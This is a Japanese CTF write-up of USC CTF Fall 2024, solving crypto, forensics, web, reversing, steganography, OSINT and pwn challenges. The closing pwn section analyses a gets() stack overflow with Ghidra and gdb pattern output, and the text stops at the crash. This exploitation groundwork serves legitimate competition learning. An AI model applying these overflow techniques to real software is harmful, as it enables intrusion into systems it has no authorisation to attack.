USC CTF Fall 2024 Writeup

この大会は2024/11/2 12:00(JST)~2024/11/4 13:00(JST)に開催されました。
この大会は個人戦。結果は6548点で797人中27位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (welcome)

添付のflag.txtにフラグが書いてあった。

CYBORG{lets_go}

colors (crypto) (beginner)

base64デコードすると、"30"と"31"、"20"がスペース区切りで並んでいるので、hexデコードする。8桁ごとの2進数文字列になるので、デコードすると、フラグになった。

#!/usr/bin/env python3
from base64 import *

with open('message.txt', 'r') as f:
    ct = f.read()

ct = b64decode(ct).decode()
print('[+]', ct)

ct = ''.join([chr(int(c, 16)) for c in ct.split(' ')])
print('[+]', ct)

flag = ''.join([chr(int(c, 2)) for c in ct.split(' ')])
print('[*]', flag)

実行結果は以下の通り。

[+] 30 31 30 30 30 30 31 31 20 30 31 30 31 31 30 30 31 20 30 31 30 30 30 30 31 30 20 30 31 30 30 31 31 31 31 20 30 31 30 31 30 30 31 30 20 30 31 30 30 30 31 31 31 20 30 31 31 31 31 30 31 31 20 30 31 31 31 30 31 30 30 20 30 31 30 31 30 30 31 30 20 30 30 31 31 30 30 30 30 20 30 31 31 30 31 30 31 30 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 31 30 20 30 31 31 31 30 30 31 31 20 30 31 30 31 31 31 31 31 20 30 31 31 30 31 31 30 30 20 30 31 31 30 31 31 31 31 20 30 31 31 31 30 31 31 30 20 30 31 31 30 30 31 30 31 20 30 31 30 31 31 31 31 31 20 30 31 30 30 30 30 31 31 20 30 30 31 31 30 31 30 30 20 30 31 31 31 30 30 31 30 20 30 31 31 30 30 31 30 30 20 30 31 31 30 31 30 30 31 20 30 31 31 30 31 31 31 30 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 30 30 20 30 31 30 31 31 31 31 31 20 30 31 30 30 30 30 30 30 20 30 31 31 30 31 31 31 30 20 30 31 31 30 30 31 30 30 20 30 31 30 31 31 31 31 31 20 30 31 30 30 30 31 31 31 20 30 30 31 31 30 30 30 30 20 30 31 31 30 31 31 30 30 20 30 31 31 30 30 31 30 30 20 30 31 31 31 31 31 30 31
[+] 01000011 01011001 01000010 01001111 01010010 01000111 01111011 01110100 01010010 00110000 01101010 01100001 01101110 01110011 01011111 01101100 01101111 01110110 01100101 01011111 01000011 00110100 01110010 01100100 01101001 01101110 01100001 01101100 01011111 01000000 01101110 01100100 01011111 01000111 00110000 01101100 01100100 01111101
[*] CYBORG{tR0jans_love_C4rdinal_@nd_G0ld}
CYBORG{tR0jans_love_C4rdinal_@nd_G0ld}

weirdtraffic (forensics) (beginner)

pcapファイルが添付されているので、Wiresharkで開く。すべてICMPの通信になっている。パケット数が少ないので、1つずつ見てみる。No.21のパケットにフラグが書いてあった。

CYBORG{hping3-is-a-cool-tool}

iRobots (web) (beginner)

HTMLソースを見ると、以下のように書いてある。

    <script>
        function checkPassword(event) {
            event.preventDefault();
            const passwordInput = document.getElementById("password").value;
            const correctPassword = "as1m0v";

            if (passwordInput === correctPassword) {
                window.location.href = "secret.html";
            } else {
                document.getElementById("error-message").textContent = "Incorrect password. Try again.";
            }
        }
    </script>

Passwordに"as1m0v"を入力してSubmitすると、以下のように表示された。

Secret Page
Congrats! You've found the secret page. But you may have got here because a web scraper found this page first and let your favorite search engine know. Luckily our flag won't appear on your search engine :D

https://usc-irobots.chals.io/robots.txtにアクセスすると、以下のように表示された。

User-agent: *
Disallow: /hidden/flag.txt

https://usc-irobots.chals.io/hidden/flag.txtにアクセスすると、フラグが表示された。

CYBORG{robots_txt_is_fun}

concoction (rev) (beginner)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  bool bVar1;
  basic_ostream *pbVar2;
  int *piVar3;
  long in_FS_OFFSET;
  int local_d0;
  int local_cc;
  int local_c8;
  int local_c4;
  int local_c0;
  int local_bc;
  int local_b8;
  int local_b4;
  int local_b0;
  int local_ac;
  int *local_a8;
  int *local_a0;
  int **local_98;
  int *local_90;
  int **local_88;
  int *local_80;
  int *local_78;
  undefined8 local_70;
  int local_68;
  int local_64;
  int local_60;
  int local_5c;
  int local_58;
  int local_54;
  basic_string local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"Time to make a ghastly cyberbrew!");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,
                           "Tell me how much of each ingredient to put in.");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  local_d0 = 0;
  local_cc = 0;
  local_c8 = 0;
  local_c4 = 0;
  local_c0 = 0;
  local_bc = 0;
  local_b8 = 0;
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many crypto crickets? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_d0);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many forensics fungi? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_cc);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many osint oreos? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c8);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many plants of pwn? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c4);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many rev redcaps? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c0);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many cobwebs? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_bc);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many ounces of water? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_b8);
  std::basic_istream<char,std::char_traits<char>>::ignore();
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
                    /* try { // try from 001015af to 00101d36 has its CatchHandler @ 00101d59 */
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"What secret ingredient? (string)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::getline<char,std::char_traits<char>,std::allocator<char>>((basic_istream *)std::cin,local_48)
  ;
  local_b4 = 0;
  local_b0 = 0;
  local_70 = 6;
  local_68 = local_d0;
  local_64 = local_cc;
  local_60 = local_c8;
  local_5c = local_c4;
  local_58 = local_c0;
  local_54 = local_bc;
  local_78 = &local_68;
  local_98 = &local_78;
  local_a8 = (int *)std::initializer_list<int>::begin((initializer_list<int> *)local_98);
  local_90 = (int *)std::initializer_list<int>::end((initializer_list<int> *)local_98);
  for (; local_a8 != local_90; local_a8 = local_a8 + 1) {
    local_ac = *local_a8;
    piVar3 = std::max<int>(&local_b4,&local_ac);
    local_b4 = *piVar3;
  }
  local_70 = 6;
  local_68 = local_d0;
  local_64 = local_cc;
  local_60 = local_c8;
  local_5c = local_c4;
  local_58 = local_c0;
  local_54 = local_bc;
  local_78 = &local_68;
  local_88 = &local_78;
  local_a0 = (int *)std::initializer_list<int>::begin((initializer_list<int> *)local_88);
  local_80 = (int *)std::initializer_list<int>::end((initializer_list<int> *)local_88);
  for (; local_a0 != local_80; local_a0 = local_a0 + 1) {
    local_ac = *local_a0;
    if (local_ac < local_b4) {
      piVar3 = std::max<int>(&local_b0,&local_ac);
      local_b0 = *piVar3;
    }
  }
  if (local_b4 == 0) {
    if (local_b8 < 1) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created... nothing.");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You poured a nice glass of water.");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else if (local_b8 < 1) {
    pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a salad.");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
               std::endl<char,std::char_traits<char>>);
  }
  else if (local_b4 == local_d0) {
    if ((local_b0 == local_cc) && (0 < local_cc)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a draught of decoding :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else if ((local_b0 == local_bc) && (0 < local_bc)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a slosh of secure sending :}"
                              );
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created an elixir of encoding :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else if (local_b4 == local_cc) {
    if ((local_b0 == local_c8) && (0 < local_c8)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created an ichor of investigation :}"
                              );
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created an infusion of forensics :}")
      ;
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else if (local_b4 == local_c8) {
    pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a goo of googling :}");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
               std::endl<char,std::char_traits<char>>);
  }
  else if ((local_b4 == local_c4) || (local_b4 == local_c0)) {
    if (((((local_d0 == 0x1eea) && (local_cc == 0x1b1fc)) && (local_c8 == 0x906)) &&
        ((local_c4 == 0xc889 && (local_c0 == 0x283389e)))) &&
       ((local_bc == 0x2397 && (bVar1 = std::operator==(local_48,"decompiler"), bVar1)))) {
      bVar1 = true;
    }
    else {
      bVar1 = false;
    }
    if (bVar1) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,
                               "You created a philter of flag charming :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"CYBORG{RECIPE=");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_d0);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_cc);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_c8);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_c4);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_c0);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_bc);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = std::operator<<(pbVar2,local_48);
      pbVar2 = std::operator<<(pbVar2,"}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else if ((local_b0 == local_d0) && (0 < local_d0)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,
                               "You created a balsam of buried secrets :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,
                               "You created a salve of shattered secrets :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else if (local_b4 == local_bc) {
    if ((local_b0 == local_c4) && (0 < local_c4)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,
                               "You created an essence of exploitation :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a tonic of TCP :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else {
    pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a mysterious smoothie :}");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
               std::endl<char,std::char_traits<char>>);
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
            ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_48);
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

以下の部分に条件がある。

  else if ((local_b4 == local_c4) || (local_b4 == local_c0)) {
    if (((((local_d0 == 0x1eea) && (local_cc == 0x1b1fc)) && (local_c8 == 0x906)) &&
        ((local_c4 == 0xc889 && (local_c0 == 0x283389e)))) &&
       ((local_bc == 0x2397 && (bVar1 = std::operator==(local_48,"decompiler"), bVar1)))) {

入力順で以下の値を指定する必要がある。

・How many crypto crickets? (int)
 →local_d0 = 0x1eea = 7914
・How many forensics fungi? (int)
 →local_cc = 0x1b1fc = 111100
・How many osint oreos? (int)
 →local_c8 = 0x906 = 2310
・How many plants of pwn? (int)
 →local_c4 = 0xc889 = 51337
・How many rev redcaps? (int)
 →local_c0 = 0x283389e = 42154142
・How many cobwebs? (int)
 →local_bc = 0x2397 = 9111
・What secret ingredient? (string)
 →local_48 = "decompiler"

上記の値を入力すればフラグが得られる。なお「How many ounces of water? (int)」の値は正の整数値であれば何でもよい。

実行結果は以下の通り。

$ ./concoction                                
Time to make a ghastly cyberbrew!
Tell me how much of each ingredient to put in.
How many crypto crickets? (int)
7914
How many forensics fungi? (int)
111100
How many osint oreos? (int)
2310
How many plants of pwn? (int)
51337
How many rev redcaps? (int)
42154142
How many cobwebs? (int)
9111
How many ounces of water? (int)
1
What secret ingredient? (string)
decompiler
You created a philter of flag charming :}
CYBORG{RECIPE=7914-111100-2310-51337-42154142-9111-decompiler}
CYBORG{RECIPE=7914-111100-2310-51337-42154142-9111-decompiler}

Redwoods (misc)

jadx-guiデコンパイルする。

package defpackage;

import java.util.Scanner;

/* renamed from: Main  reason: default package */
/* loaded from: redwoods_meditation.jar:Main.class */
public class Main {
    static Scanner sc;
    static String[] flags = {"ccccccccccagccccccchdbgdddehcccccagcccchdbgccehcccccagddddhdbgdddehgcccccccccccccecccedddddddd", "dddeagcgchhdbcccccagcccccccccchdbgccegcedddeddddeccccccccccccccccceddddddddddddddehhccccccaggccccchhdbggdddeddddddddddde", "ddehhccccccaggdddddhhdbggdeehhcccccccccccaggcccchhdbggehhcccccaggdddddhhdbggeagcgchhdbabccccccaggdddhhdbggehcccccceehhcce"};
    static boolean animalSpeaking = false;

    public static void main(String[] args) {
        int i;
        sc = new Scanner(System.in);
        System.out.println("You are wandering through the woods to clear your mind, escape the concrete barriers of the modern world, and find enlightenment in what is known as a flag.");
        System.out.println();
        int location = 0;
        int trailMix = 3;
        boolean[] visited = new boolean[10];
        while (true) {
            int enterLoc = location;
            if (location == 0) {
                if (!visited[0]) {
                    System.out.println("You come across a climbable tree, but could also simply continue further.");
                } else {
                    System.out.println("You are at the base of the tree, and see a route leading into the depths of the forest.");
                }
                int c = getChoice("Climb the tree", "Venture further", "Leave");
                switch (c) {
                    case 1:
                        location = 1;
                        continue;
                    case 2:
                        location = 2;
                        continue;
                    case 3:
                        System.exit(0);
                        continue;
                }
            } else if (location == 1) {
                if (!visited[3]) {
                    System.out.println("You find a comfortable spot on the tree branch and look out towards the horizon. It is beautiful in a way that could not be described fully in text... if only there were a picture that showed what this forest looked like.");
                    System.out.println("But your imagination is powerful, and your spirit is warmed.");
                }
                int c2 = getChoice("Press F5", "Climb down");
                location = c2 == 1 ? 3 : 0;
            } else if (location == 2) {
                if (!visited[2]) {
                    System.out.println("You venture into the forest, pushing past bushes and branches to uncover more trees and animals around you.");
                    System.out.println("A squirrel hops out of a bush and is scuttling around in front of you.");
                } else if (trailMix == 3) {
                    System.out.println("The squirrel is still there, presumably searching for food.");
                } else {
                    System.out.println("The squirrel is still there, nibbling on its trail mix.");
                }
                int c3 = trailMix == 3 ? getChoice("Offer the squirrel trail mix", "Punt the squirrel", "Ignore the squirrel and continue", "Go back") : getChoice("Offer the squirrel trail mix", "Punt the squirrel", "Continue deeper into the forest", "Go back");
                switch (c3) {
                    case 1:
                        i = 4;
                        break;
                    case 2:
                        i = 5;
                        break;
                    case 3:
                        i = 6;
                        break;
                    case 4:
                        i = 0;
                        break;
                    default:
                        i = location;
                        break;
                }
                location = i;
            } else if (location == 3) {
                System.out.println("You pressed F5 and gained a whole new perspective.");
                if (!animalSpeaking) {
                    System.out.println("You can feel the voices of the forest connecting with your soul.");
                }
                animalSpeaking = true;
                location = 1;
            } else if (location == 4) {
                if (trailMix > 0) {
                    trailMix--;
                    System.out.println("The squirrel looks up at you and happily accepts the nuts you hand out.");
                    if (animalSpeaking) {
                        System.out.println("The squirrel utters the following phrase:");
                        System.out.println(flags[3 - (trailMix + 1)]);
                    } else {
                        System.out.println("The squirrel utters an unintelligible but cute sound.");
                    }
                    System.out.println("You have " + trailMix + " trail mix remaining.");
                    if (trailMix == 2) {
                        System.out.println("The squirrel looks like it is very hungry.");
                    } else if (trailMix == 1) {
                        System.out.println("The squirrel looks like it is still hungry.");
                    }
                } else {
                    System.out.println("You have no trail mix left. ");
                }
                location = 2;
            } else if (location == 5) {
                System.out.println("You swing your leg back, then swing forward with all your might and punt the squirrel into forest oblivion.");
                System.out.println("Your meditative adventure has made you realize you are a terrible person, so you leave the forest and return to society.");
                System.exit(0);
            } else if (location == 6) {
                System.out.println("You walk past the squirrel and journey deeper and deeper into the forest.");
                if (trailMix == 3) {
                    System.out.println("You have a nagging feeling that you missed something along the way, that valuable lessons were not extracted.");
                    System.out.println("But you push on anyways, consuming yourself within the misty woods.");
                } else if (!animalSpeaking) {
                    System.out.println("You feel comforted by your interaction with the squirrel, but something tells you that you did not fully understand what it was trying to say.");
                    System.out.println("Perhaps another journey through the forest would give you a new perspective.");
                    System.out.println("But for now, you venture deeper, consuming yourself within the misty woods.");
                } else {
                    System.out.println("You feel enlightened by your connection to nature.");
                    System.out.println("You are ready to continue further, but you must dig deeper in a way that cannot be accomplished in this text adventure.");
                }
                System.exit(0);
            }
            System.out.println();
            visited[enterLoc] = true;
        }
    }

    public static int getChoice(String... options) {
        for (int i = 0; i < options.length; i++) {
            System.out.println((i + 1) + ": " + options[i]);
        }
        System.out.println("Enter a number: ");
        int choice = sc.nextInt();
        if (choice < 1 || choice > options.length) {
            System.out.println("You are trying to do something you are not capable of.");
            return getChoice(options);
        }
        return choice;
    }
}

Resourcesにmistywoods.pngがあるので、エクスポートする。StegSolveで開き、Red plane 0を見ると、文字が現れる。

a [
b ]
c +
d -
e .
f ,
g >
h <

アルファベットとBrainf*ck言語で使われる文字の対応と推測できる。コード内のflagsでアルファベットが使われているので、置換してみる。
まずflagsの文字列を結合する。

ccccccccccagccccccchdbgdddehcccccagcccchdbgccehcccccagddddhdbgdddehgcccccccccccccecccedddddddddddeagcgchhdbcccccagcccccccccchdbgccegcedddeddddeccccccccccccccccceddddddddddddddehhccccccaggccccchhdbggdddedddddddddddeddehhccccccaggdddddhhdbggdeehhcccccccccccaggcccchhdbggehhcccccaggdddddhhdbggeagcgchhdbabccccccaggdddhhdbggehcccccceehhcce

画像として現れた対応表を元に、アルファベットを置換する。

++++++++++[>+++++++<-]>---.<+++++[>++++<-]>++.<+++++[>----<-]>---.<>+++++++++++++.+++.-----------.[>+>+<<-]+++++[>++++++++++<-]>++.>+.---.----.+++++++++++++++++.--------------.<<++++++[>>+++++<<-]>>---.-----------.--.<<++++++[>>-----<<-]>>-..<<+++++++++++[>>++++<<-]>>.<<+++++[>>-----<<-]>>.[>+>+<<-][]++++++[>>---<<-]>>.<++++++..<<++.

https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行してみると、フラグが現れた。

CYBORG{HEARD_TR33_F4LL}

TommyCam (osint)

問題は以下の通り。

The site usc.edu was first archived by the Internet Archive in December 1996. At that time, the site included the technical specs for TommyCam. What PC was initially used to run TommyCam?

Answers should be formatted like this, for example: CYBORG{ThinkPad T480}

Internet Archiveで以下を調べる。

https://usc.edu/

1996/12/23 4:41:23に初めてスナップショットが取られている。このページの「TommyCam」のリンクをたどってみる。次に「Technical Information, Future Improvements.」のリンク先に行ってみる。
System Architectureに以下のように書いてある。

The camera is connected to a video frame grabber board (Quanta WinVision Pro) in a Toshiba 5200 80386 based laptop PC.
CYBORG{Toshiba 5200 80386}

beer sales (osint)

問題は以下の通り。

In August 2024, a lot of beer was sold in Orlando, Florida. But how much, exactly? Lucky for us, they left the exact number on a PDF on an open FTP server! Include the total number of gallons of beer.

For example: CYBORG{712931.12}

「August 2024 Orlando Florida beer sold gallons」で検索すると、以下のFTPサイトが見つかった。

ftp://www.flgov.com/pub/llweb/Beer4.pdf

anonymous / (none) で認証し、ダウンロードする。pdfを見ると、合計は861,641.36ガロンであることがわかる。

CYBORG{861641.36}

Buildings (osint)

12枚の画像とそれぞれ数字が書いてあるPDFが添付されている。そこには6枚の画像の後に"{"、一番最後に"}"があることから前半6枚の画像は"CYBORG"であると推測できるので、7枚目以降の画像について調べていく。


7個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://housing.usc.edu/index.php/buildings/arts-humanities-residential-college-at-parkside/
この建物の略称はPRBで、3と書いてあるので"B"を示していると推測できる。


8個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://housing.usc.edu/index.php/buildings/birnkrant-residential-college/
この建物の略称はBSRで、3と書いてあるので"R"を示していると推測できる。


9個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://dornsife.usc.edu/brainimaging/
この建物の略称はDNIで、3と書いてあるので"I"を示していると推測できる。


10個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://housing.usc.edu/index.php/buildings/cardinal-gardens/
この建物の略称はDNIで、1と書いてあるので"C"を示していると推測できる。


11個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://pt.foursquare.com/v/kaprielian-hall-kap/4b4fc8c3f964a520491527e3
この建物の略称はKAPで、1と書いてあるので"K"を示していると推測できる。


12個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://www.inkpenlab.org/contact
この建物の略称はLJSで、3と書いてあるので"S"を示していると推測できる。

すべてを結合すると、フラグになる。

CYBORG{BRICKS}

television (osint)

問題は以下の通り。

The attached image is from the TV series Perry Mason (2020-2023). Who was the (real-life) architect for the building in the background?

CYBORG{Firstname Lastname}


「Perry Mason (2020-2023) building locations」で調べると、以下のページが見つかった。

https://www.sceen-it.com/movie/1377/Perry-Mason

ロケ地があるので、近い画像を探す。Second Church of Christ Scientistが似ている。
以下のページでこの建物の建築家を調べる。

https://en.wikipedia.org/wiki/Second_Church_of_Christ,_Scientist_(Los_Angeles)
CYBORG{Alfred H. Rosenheim}

Portal (pwn)

$ checksec --file=portal
[*] '/mnt/hgfs/Shared/portal'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

Ghidraでデコンパイルする。

undefined4 main(undefined1 param_1)

{
  __gid_t __rgid;
  
  setvbuf(_stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("Please enter your string: ");
  vuln();
  return 0;
}

void vuln(void)

{
  undefined4 uVar1;
  char local_2c [36];
  
  gets(local_2c);
  uVar1 = get_return_address();
  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n",uVar1);
  return;
}

void win(void)

{
  char local_3d [45];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("Please create \'flag.txt\' in this directory with your own debugging flag.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_3d,0x2d,local_10);
  printf(local_3d);
  return;
}

BOFでwin関数をコールすればよい。

$ gdb -q ./portal
Reading symbols from ./portal...
(No debugging symbols found in ./portal)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/portal 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Okay, time to return... Fingers Crossed... Jumping to 0x80492a7

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
EAX: 0x40 ('@')
EBX: 0x61414145 ('EAAa')
ECX: 0x0 
EDX: 0x0 
ESI: 0xffffd04c --> 0xffffd238 ("CLUTTER_IM_MODULE=xim")
EDI: 0xf7ffcb60 --> 0x0 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcf60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffcf60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffcf64 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcf68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcf6c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcf70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
